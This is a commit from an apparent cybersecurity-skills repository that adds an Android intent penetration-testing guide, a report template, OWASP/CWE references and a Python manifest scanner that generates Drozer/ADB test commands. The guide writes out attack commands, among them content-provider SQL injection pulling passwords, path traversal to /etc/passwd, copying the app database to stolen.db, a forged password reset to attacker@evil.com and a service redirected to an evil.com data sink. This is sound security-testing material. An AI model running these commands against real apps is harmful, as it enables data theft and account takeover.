mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-18 21:49:40 +03:00
Initial commit - 611 cybersecurity skills across all subdomains
This commit is contained in:
@@ -0,0 +1,175 @@
|
||||
---
|
||||
name: testing-android-intents-for-vulnerabilities
|
||||
description: >
|
||||
Tests Android inter-process communication (IPC) through intents for vulnerabilities including
|
||||
intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking,
|
||||
and content provider data leakage. Use when assessing Android app attack surface through exported
|
||||
components, testing intent-based data flows, or evaluating IPC security. Activates for requests
|
||||
involving Android intent security, IPC testing, exported component analysis, or Drozer assessment.
|
||||
domain: cybersecurity
|
||||
subdomain: mobile-security
|
||||
author: mahipal
|
||||
tags: [mobile-security, android, intents, ipc-security, owasp-mobile, penetration-testing]
|
||||
version: 1.0.0
|
||||
license: MIT
|
||||
---
|
||||
# Testing Android Intents for Vulnerabilities
|
||||
|
||||
## When to Use
|
||||
|
||||
Use this skill when:
|
||||
- Assessing Android app exported activities, services, receivers, and content providers
|
||||
- Testing for intent injection and unauthorized component invocation
|
||||
- Evaluating broadcast receiver security for sensitive data exposure
|
||||
- Performing IPC-focused penetration testing on Android applications
|
||||
|
||||
**Do not use** on production devices without explicit authorization.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Rooted Android device or emulator with ADB
|
||||
- Drozer agent installed on target device (`drozer agent.apk`)
|
||||
- Drozer console on host (`pip install drozer`)
|
||||
- Target APK decompiled with apktool for AndroidManifest.xml analysis
|
||||
- Frida for runtime intent monitoring
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Enumerate Exported Components
|
||||
|
||||
```bash
|
||||
# Using Drozer
|
||||
drozer console connect
|
||||
run app.package.info -a com.target.app
|
||||
run app.package.attacksurface com.target.app
|
||||
|
||||
# Output shows:
|
||||
# X activities exported
|
||||
# X broadcast receivers exported
|
||||
# X content providers exported
|
||||
# X services exported
|
||||
|
||||
# List exported activities
|
||||
run app.activity.info -a com.target.app
|
||||
|
||||
# List exported services
|
||||
run app.service.info -a com.target.app
|
||||
|
||||
# List exported receivers
|
||||
run app.broadcast.info -a com.target.app
|
||||
|
||||
# List content providers
|
||||
run app.provider.info -a com.target.app
|
||||
```
|
||||
|
||||
### Step 2: Test Exported Activities
|
||||
|
||||
```bash
|
||||
# Launch exported activities directly
|
||||
run app.activity.start --component com.target.app com.target.app.AdminActivity
|
||||
|
||||
# Launch with intent extras
|
||||
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
|
||||
--extra string user_id 1337
|
||||
|
||||
# Test intent injection via data URI
|
||||
adb shell am start -a android.intent.action.VIEW \
|
||||
-d "content://com.target.app/users/admin" com.target.app
|
||||
|
||||
# If admin activity opens without auth, report as authorization bypass
|
||||
```
|
||||
|
||||
### Step 3: Test Broadcast Receivers
|
||||
|
||||
```bash
|
||||
# Send broadcast to exported receivers
|
||||
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
|
||||
--extra string amount "0.01" --extra string recipient "attacker"
|
||||
|
||||
# Sniff broadcasts for sensitive data
|
||||
run app.broadcast.sniff --action com.target.app.USER_LOGIN
|
||||
|
||||
# Via ADB
|
||||
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
|
||||
--es email "attacker@evil.com"
|
||||
```
|
||||
|
||||
### Step 4: Test Content Providers
|
||||
|
||||
```bash
|
||||
# Query content providers for data leakage
|
||||
run app.provider.query content://com.target.app.provider/users
|
||||
run app.provider.query content://com.target.app.provider/users --projection "password"
|
||||
|
||||
# Test SQL injection in content providers
|
||||
run app.provider.query content://com.target.app.provider/users \
|
||||
--selection "1=1) UNION SELECT username,password FROM users--"
|
||||
|
||||
# Test path traversal
|
||||
run app.provider.read content://com.target.app.provider/../../etc/passwd
|
||||
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db
|
||||
|
||||
# Find injectable providers
|
||||
run scanner.provider.injection -a com.target.app
|
||||
run scanner.provider.traversal -a com.target.app
|
||||
```
|
||||
|
||||
### Step 5: Test Pending Intent Vulnerabilities
|
||||
|
||||
```javascript
|
||||
// Monitor PendingIntent creation via Frida
|
||||
Java.perform(function() {
|
||||
var PendingIntent = Java.use("android.app.PendingIntent");
|
||||
|
||||
PendingIntent.getActivity.overload("android.content.Context", "int",
|
||||
"android.content.Intent", "int").implementation =
|
||||
function(context, requestCode, intent, flags) {
|
||||
console.log("[PendingIntent] getActivity:");
|
||||
console.log(" Intent: " + intent.toString());
|
||||
console.log(" Flags: " + flags);
|
||||
|
||||
// Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
|
||||
var FLAG_MUTABLE = 0x02000000;
|
||||
if ((flags & FLAG_MUTABLE) !== 0) {
|
||||
console.log(" [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
|
||||
}
|
||||
return this.getActivity(context, requestCode, intent, flags);
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
### Step 6: Test Service Binding
|
||||
|
||||
```bash
|
||||
# Attempt to bind to exported services
|
||||
run app.service.start --action com.target.app.SYNC_SERVICE \
|
||||
--extra string server "https://evil.com/data_sink"
|
||||
|
||||
run app.service.send com.target.app com.target.app.MessengerService \
|
||||
--msg 1 0 0 --extra string command "dump_database" --bundle-as-obj
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|-----------|
|
||||
| **Exported Component** | Android component (activity/service/receiver/provider) accessible to other apps on the device |
|
||||
| **Intent** | Messaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based) |
|
||||
| **Pending Intent** | Token wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients |
|
||||
| **Content Provider** | Component for structured data sharing between apps; SQL injection target if query parameters are not sanitized |
|
||||
| **Broadcast Receiver** | Component receiving system or app broadcasts; exported receivers can be triggered by any app |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **Drozer**: Android security assessment framework for IPC testing with pre-built modules
|
||||
- **ADB**: Command-line tool for invoking intents, starting activities, and sending broadcasts
|
||||
- **Frida**: Runtime monitoring of intent handling and PendingIntent creation
|
||||
- **apktool**: APK decompilation for AndroidManifest.xml analysis of component export status
|
||||
- **Intent Fuzzer**: Automated tool for fuzzing intent parameters across exported components
|
||||
|
||||
## Common Pitfalls
|
||||
|
||||
- **android:exported default changed in API 31**: Components with intent filters default to exported=true below API 31 but exported=false at API 31+. Check targetSdkVersion.
|
||||
- **Permission-protected components**: An exported component may still require a permission. Test with and without the required permission.
|
||||
- **Implicit intents vs explicit**: Only implicit intents (action-based) are interceptable by other apps. Explicit intents (specifying target) are secure.
|
||||
- **Custom permissions**: Apps can define custom permissions with different protection levels (normal, dangerous, signature). Signature-level permissions are only grantable to apps signed with the same certificate.
|
||||
@@ -0,0 +1,30 @@
|
||||
# Android Intent Security Assessment Report
|
||||
|
||||
## Target
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Package | [PACKAGE] |
|
||||
| Target SDK | [SDK] |
|
||||
| Exported Components | [COUNT] |
|
||||
|
||||
## Attack Surface
|
||||
| Component Type | Exported | Unprotected | Risk |
|
||||
|---------------|----------|-------------|------|
|
||||
| Activities | [N] | [N] | [RISK] |
|
||||
| Services | [N] | [N] | [RISK] |
|
||||
| Receivers | [N] | [N] | [RISK] |
|
||||
| Providers | [N] | [N] | [RISK] |
|
||||
|
||||
## Findings
|
||||
### Finding [N]: [COMPONENT_NAME]
|
||||
- **Type**: [Activity/Service/Receiver/Provider]
|
||||
- **Exported**: Yes
|
||||
- **Permission Protected**: [YES/NO]
|
||||
- **Issue**: [DESCRIPTION]
|
||||
- **Severity**: [LEVEL]
|
||||
- **Test Command**: `[COMMAND]`
|
||||
- **Result**: [OUTCOME]
|
||||
- **Recommendation**: [REMEDIATION]
|
||||
|
||||
## Recommendations
|
||||
1. [RECOMMENDATION]
|
||||
@@ -0,0 +1,22 @@
|
||||
# Standards Reference: Android Intent Vulnerabilities
|
||||
|
||||
## OWASP Mobile Top 10 2024
|
||||
| ID | Risk | Intent Relevance |
|
||||
|----|------|-----------------|
|
||||
| M4 | Insufficient Input/Output Validation | Intent parameter injection |
|
||||
| M8 | Security Misconfiguration | Exported components without permission guards |
|
||||
|
||||
## OWASP MASVS v2.0 - MASVS-PLATFORM
|
||||
| Control | Test |
|
||||
|---------|------|
|
||||
| MASVS-PLATFORM-1 | Verify exported components require appropriate permissions |
|
||||
| MASVS-PLATFORM-2 | Verify intent data is validated before processing |
|
||||
|
||||
## CWE Mappings
|
||||
| CWE | Title | Vector |
|
||||
|-----|-------|--------|
|
||||
| CWE-926 | Improper Export of Android Application Components | Exported without permission |
|
||||
| CWE-927 | Use of Implicit Intent for Sensitive Communication | Sensitive data in implicit intents |
|
||||
| CWE-925 | Improper Verification of Intent by Broadcast Receiver | Missing sender verification |
|
||||
| CWE-89 | SQL Injection | Content provider query injection |
|
||||
| CWE-22 | Path Traversal | Content provider path traversal |
|
||||
@@ -0,0 +1,17 @@
|
||||
# Workflows: Android Intent Vulnerability Testing
|
||||
|
||||
## Workflow 1: IPC Security Assessment
|
||||
```
|
||||
[Decompile APK] --> [Parse AndroidManifest] --> [Enumerate exported components]
|
||||
|
|
||||
+------------------+------------------+
|
||||
| | | |
|
||||
[Activities] [Services] [Receivers] [Providers]
|
||||
[Direct launch] [Bind/Start] [Trigger] [Query/Inject]
|
||||
[Auth bypass?] [Data exfil?] [Sniff?] [SQLi? Traversal?]
|
||||
| | | |
|
||||
+------------------+------------------+
|
||||
|
|
||||
[PendingIntent audit]
|
||||
[Report findings]
|
||||
```
|
||||
@@ -0,0 +1,197 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Android Intent Vulnerability Scanner
|
||||
|
||||
Parses AndroidManifest.xml to identify exported components and generate
|
||||
Drozer/ADB test commands for IPC security assessment.
|
||||
|
||||
Usage:
|
||||
python process.py --manifest AndroidManifest.xml [--package com.target.app] [--output report.json]
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import sys
|
||||
import xml.etree.ElementTree as ET
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def parse_manifest(manifest_path: str) -> dict:
|
||||
"""Parse AndroidManifest.xml for exported components."""
|
||||
tree = ET.parse(manifest_path)
|
||||
root = tree.getroot()
|
||||
ns = {"android": "http://schemas.android.com/apk/res/android"}
|
||||
|
||||
package = root.get("package", "unknown")
|
||||
target_sdk = ""
|
||||
for sdk in root.findall(".//uses-sdk"):
|
||||
target_sdk = sdk.get(f"{{{ns['android']}}}targetSdkVersion", "unknown")
|
||||
|
||||
components = {"activities": [], "services": [], "receivers": [], "providers": []}
|
||||
|
||||
for comp_type, tag in [("activities", "activity"), ("services", "service"),
|
||||
("receivers", "receiver"), ("providers", "provider")]:
|
||||
for elem in root.findall(f".//{tag}"):
|
||||
name = elem.get(f"{{{ns['android']}}}name", "")
|
||||
exported = elem.get(f"{{{ns['android']}}}exported", "")
|
||||
permission = elem.get(f"{{{ns['android']}}}permission", "")
|
||||
has_intent_filter = len(elem.findall("intent-filter")) > 0
|
||||
|
||||
# Determine effective export status
|
||||
if exported == "true":
|
||||
is_exported = True
|
||||
elif exported == "false":
|
||||
is_exported = False
|
||||
else:
|
||||
is_exported = has_intent_filter # Default: exported if has intent-filter (pre API 31)
|
||||
|
||||
if is_exported:
|
||||
component = {
|
||||
"name": name,
|
||||
"exported": True,
|
||||
"permission": permission,
|
||||
"has_intent_filter": has_intent_filter,
|
||||
"protected": bool(permission),
|
||||
}
|
||||
|
||||
# Get intent filter actions
|
||||
actions = []
|
||||
for intent_filter in elem.findall("intent-filter"):
|
||||
for action in intent_filter.findall("action"):
|
||||
actions.append(action.get(f"{{{ns['android']}}}name", ""))
|
||||
component["actions"] = actions
|
||||
|
||||
# Provider-specific attributes
|
||||
if tag == "provider":
|
||||
component["authorities"] = elem.get(f"{{{ns['android']}}}authorities", "")
|
||||
component["read_permission"] = elem.get(f"{{{ns['android']}}}readPermission", "")
|
||||
component["write_permission"] = elem.get(f"{{{ns['android']}}}writePermission", "")
|
||||
|
||||
components[comp_type].append(component)
|
||||
|
||||
return {"package": package, "target_sdk": target_sdk, "components": components}
|
||||
|
||||
|
||||
def generate_test_commands(parsed: dict) -> list:
|
||||
"""Generate Drozer and ADB test commands."""
|
||||
commands = []
|
||||
pkg = parsed["package"]
|
||||
|
||||
for activity in parsed["components"]["activities"]:
|
||||
commands.append({
|
||||
"component": activity["name"],
|
||||
"type": "activity",
|
||||
"tool": "drozer",
|
||||
"command": f'run app.activity.start --component {pkg} {activity["name"]}',
|
||||
"risk": "HIGH" if not activity["protected"] else "LOW",
|
||||
})
|
||||
|
||||
for receiver in parsed["components"]["receivers"]:
|
||||
for action in receiver.get("actions", []):
|
||||
commands.append({
|
||||
"component": receiver["name"],
|
||||
"type": "receiver",
|
||||
"tool": "adb",
|
||||
"command": f'adb shell am broadcast -a {action} -n {pkg}/{receiver["name"]}',
|
||||
"risk": "HIGH" if not receiver["protected"] else "LOW",
|
||||
})
|
||||
|
||||
for provider in parsed["components"]["providers"]:
|
||||
auth = provider.get("authorities", "")
|
||||
if auth:
|
||||
commands.append({
|
||||
"component": provider["name"],
|
||||
"type": "provider_query",
|
||||
"tool": "drozer",
|
||||
"command": f'run app.provider.query content://{auth}/',
|
||||
"risk": "CRITICAL" if not provider.get("read_permission") else "MEDIUM",
|
||||
})
|
||||
commands.append({
|
||||
"component": provider["name"],
|
||||
"type": "provider_injection",
|
||||
"tool": "drozer",
|
||||
"command": f'run scanner.provider.injection -a {pkg}',
|
||||
"risk": "CRITICAL",
|
||||
})
|
||||
|
||||
return commands
|
||||
|
||||
|
||||
def assess_findings(parsed: dict) -> list:
|
||||
"""Assess security of exported components."""
|
||||
findings = []
|
||||
components = parsed["components"]
|
||||
|
||||
for comp_type, items in components.items():
|
||||
for item in items:
|
||||
if not item.get("protected"):
|
||||
findings.append({
|
||||
"component": item["name"],
|
||||
"type": comp_type,
|
||||
"issue": f"Exported {comp_type[:-1]} without permission protection",
|
||||
"severity": "HIGH" if comp_type in ("providers", "receivers") else "MEDIUM",
|
||||
"owasp_mobile": "M8",
|
||||
"cwe": "CWE-926",
|
||||
})
|
||||
|
||||
# Check for sensitive-looking unprotected components
|
||||
sensitive_keywords = ["admin", "debug", "internal", "settings", "config", "payment", "auth"]
|
||||
for comp_type, items in components.items():
|
||||
for item in items:
|
||||
name_lower = item["name"].lower()
|
||||
if any(kw in name_lower for kw in sensitive_keywords) and not item.get("protected"):
|
||||
findings.append({
|
||||
"component": item["name"],
|
||||
"type": comp_type,
|
||||
"issue": f"Sensitive component '{item['name']}' exported without protection",
|
||||
"severity": "CRITICAL",
|
||||
"owasp_mobile": "M8",
|
||||
"cwe": "CWE-926",
|
||||
})
|
||||
|
||||
return findings
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Android Intent Vulnerability Scanner")
|
||||
parser.add_argument("--manifest", required=True, help="AndroidManifest.xml path")
|
||||
parser.add_argument("--output", default="intent_scan.json", help="Output report")
|
||||
args = parser.parse_args()
|
||||
|
||||
if not Path(args.manifest).exists():
|
||||
print(f"[-] Not found: {args.manifest}")
|
||||
sys.exit(1)
|
||||
|
||||
parsed = parse_manifest(args.manifest)
|
||||
commands = generate_test_commands(parsed)
|
||||
findings = assess_findings(parsed)
|
||||
|
||||
total_exported = sum(len(v) for v in parsed["components"].values())
|
||||
|
||||
report = {
|
||||
"scan": {"manifest": args.manifest, "package": parsed["package"],
|
||||
"target_sdk": parsed["target_sdk"], "date": datetime.now().isoformat()},
|
||||
"attack_surface": {
|
||||
"total_exported": total_exported,
|
||||
"activities": len(parsed["components"]["activities"]),
|
||||
"services": len(parsed["components"]["services"]),
|
||||
"receivers": len(parsed["components"]["receivers"]),
|
||||
"providers": len(parsed["components"]["providers"]),
|
||||
},
|
||||
"findings": findings,
|
||||
"test_commands": commands,
|
||||
}
|
||||
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
|
||||
print(f"[+] Package: {parsed['package']}")
|
||||
print(f"[+] Exported components: {total_exported}")
|
||||
print(f"[+] Findings: {len(findings)}")
|
||||
print(f"[+] Test commands generated: {len(commands)}")
|
||||
print(f"[+] Report saved: {args.output}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user